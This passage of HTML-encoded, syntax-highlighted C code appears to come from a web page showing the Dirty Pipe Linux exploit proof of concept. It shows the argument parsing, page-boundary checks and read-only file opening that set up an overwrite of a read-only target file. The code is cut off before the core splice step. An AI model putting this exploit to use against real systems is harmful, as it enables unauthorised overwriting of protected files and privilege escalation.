0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"Usage: %s TARGETFILE OFFSET DATA\\n\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargv\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E]);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* dumb command-line argument parser *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Echar\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003E*\u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epath\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargv\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eloff_t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estrtoul\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargv\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E2\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ENULL\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Echar\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003E*\u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eargv\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E3\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Esize_t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata_size\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estrlen\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E%\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EPAGE_SIZE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"Sorry, cannot start writing at a page boundary\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eloff_t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enext_page\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E|\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EPAGE_SIZE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E)) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eloff_t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eend_offset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eloff_t\u003C\u002Fspan\u003E)\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata_size\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eend_offset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enext_page\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"Sorry, cannot write across a page boundary\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* open the input file and validate the specified offset *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econst\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eint\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efd\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eopen\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epath\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EO_RDONLY\u003C\u002Fspan\u003E); \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F yes, read-only! :-)\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efd\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eperror\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"open failed\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Estruct\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003Estat\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003Est\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efstat\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efd\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Est\u003C\u002Fspan\u003E)) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eperror\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"stat failed\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Est\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Est_size\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"Offset is not inside the 